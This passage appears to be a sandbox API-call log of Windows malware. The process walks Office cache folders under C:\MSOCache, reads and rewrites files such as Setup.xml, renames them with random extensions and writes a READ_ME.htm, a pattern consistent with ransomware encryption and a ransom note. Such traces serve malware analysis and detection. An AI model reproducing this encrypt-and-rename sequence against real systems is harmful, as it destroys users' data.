lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c5504b0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0x1c5504b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0133.906] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c5504b0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0x1c5504b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0133.906] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0133.906] SetErrorMode (uMode=0x0) returned 0x1 [0133.907] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0133.907] SetErrorMode (uMode=0x1) returned 0x0 [0133.907] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0133.907] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.907] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4289c770, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4289c770, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd4c36bb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xad4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.908] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb3fb20, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xeb3fb20, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd41a8180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x99cdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0133.908] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc0e93c80, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xc0e93c80, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xd4135590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x24b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0133.908] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c5504b0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0x1c5504b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0133.908] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c5504b0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0x1c5504b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0133.908] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0133.908] SetErrorMode (uMode=0x0) returned 0x1 [0133.908] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.908] SetErrorMode (uMode=0x1) returned 0x0 [0133.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.909] GetFileType (hFile=0x1d0) returned 0x1 [0133.909] SetErrorMode (uMode=0x0) returned 0x1 [0133.909] GetFileType (hFile=0x1d0) returned 0x1 [0133.909] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0xad4 [0133.909] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a19850, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2a19850*, lpNumberOfBytesRead=0x21d4d8*=0xad4, lpOverlapped=0x0) returned 1 [0133.982] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.983] SetErrorMode (uMode=0x1) returned 0x0 [0133.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.984] GetFileType (hFile=0x1d0) returned 0x1 [0133.984] SetErrorMode (uMode=0x0) returned 0x1 [0133.984] GetFileType (hFile=0x1d0) returned 0x1 [0133.984] WriteFile (in: hFile=0x1d0, lpBuffer=0x28fe0e0*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x28fe0e0*, lpNumberOfBytesWritten=0x21d478*=0xae0, lpOverlapped=0x0) returned 1 [0133.985] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.985] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml.2q5bez", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml.2q5bez", lpFilePart=0x0) returned 0x4f [0133.986] SetErrorMode (uMode=0x1) returned 0x0 [0133.986] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4289c770, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4289c770, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4c7360c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xae0)) returned 1 [0133.986] SetErrorMode (uMode=0x0) returned 0x1 [0133.986] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\Setup.xml.2q5bez" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\setup.xml.2q5bez")) returned 1 [0133.989] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml", lpFilePart=0x0) returned 0x4a [0133.989] SetErrorMode (uMode=0x1) returned 0x0 [0133.989] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.989] GetFileType (hFile=0x1d0) returned 0x1 [0133.990] SetErrorMode (uMode=0x0) returned 0x1 [0133.990] GetFileType (hFile=0x1d0) returned 0x1 [0133.990] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x83c [0133.990] ReadFile (in: hFile=0x1d0, lpBuffer=0x2900678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2900678*, lpNumberOfBytesRead=0x21d4d8*=0x83c, lpOverlapped=0x0) returned 1 [0134.010] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml", lpFilePart=0x0) returned 0x4a [0134.011] SetErrorMode (uMode=0x1) returned 0x0 [0134.011] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.012] GetFileType (hFile=0x1d0) returned 0x1 [0134.012] SetErrorMode (uMode=0x0) returned 0x1 [0134.012] GetFileType (hFile=0x1d0) returned 0x1 [0134.012] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e4148*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x29e4148*, lpNumberOfBytesWritten=0x21d478*=0x840, lpOverlapped=0x0) returned 1 [0134.014] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml", lpFilePart=0x0) returned 0x4a [0134.014] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml.r5i6uy", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml.r5i6uy", lpFilePart=0x0) returned 0x51 [0134.014] SetErrorMode (uMode=0x1) returned 0x0 [0134.014] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c5504b0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0x1c5504b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0x4c782380, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x840)) returned 1 [0134.014] SetErrorMode (uMode=0x0) returned 0x1 [0134.015] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\WordMUI.xml.r5i6uy" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\wordmui.xml.r5i6uy")) returned 1 [0134.015] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0134.016] SetErrorMode (uMode=0x1) returned 0x0 [0134.016] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0134.016] GetFileType (hFile=0x1d0) returned 0x1 [0134.016] SetErrorMode (uMode=0x0) returned 0x1 [0134.016] GetFileType (hFile=0x1d0) returned 0x1 [0134.016] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e8f98*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29e8f98*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0134.018] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.018] SetErrorMode (uMode=0x1) returned 0x0 [0134.018] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.020] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.020] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0134.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0134.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0134.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a506c00, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1a506c00, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcac6f690, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0134.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66266080, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x66266080, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xcac6f690, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0134.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42175690, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42175690, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd08f8600, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.021] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42175690, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x42175690, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd08f8600, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.021] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.022] SetErrorMode (uMode=0x0) returned 0x1 [0134.022] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.023] SetErrorMode (uMode=0x1) returned 0x0 [0134.034] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.035] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.035] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0134.035] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0134.035] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0134.036] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a506c00, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1a506c00, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcac6f690, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x103000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0134.036] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66266080, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x66266080, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xcac6f690, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0134.036] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42175690, 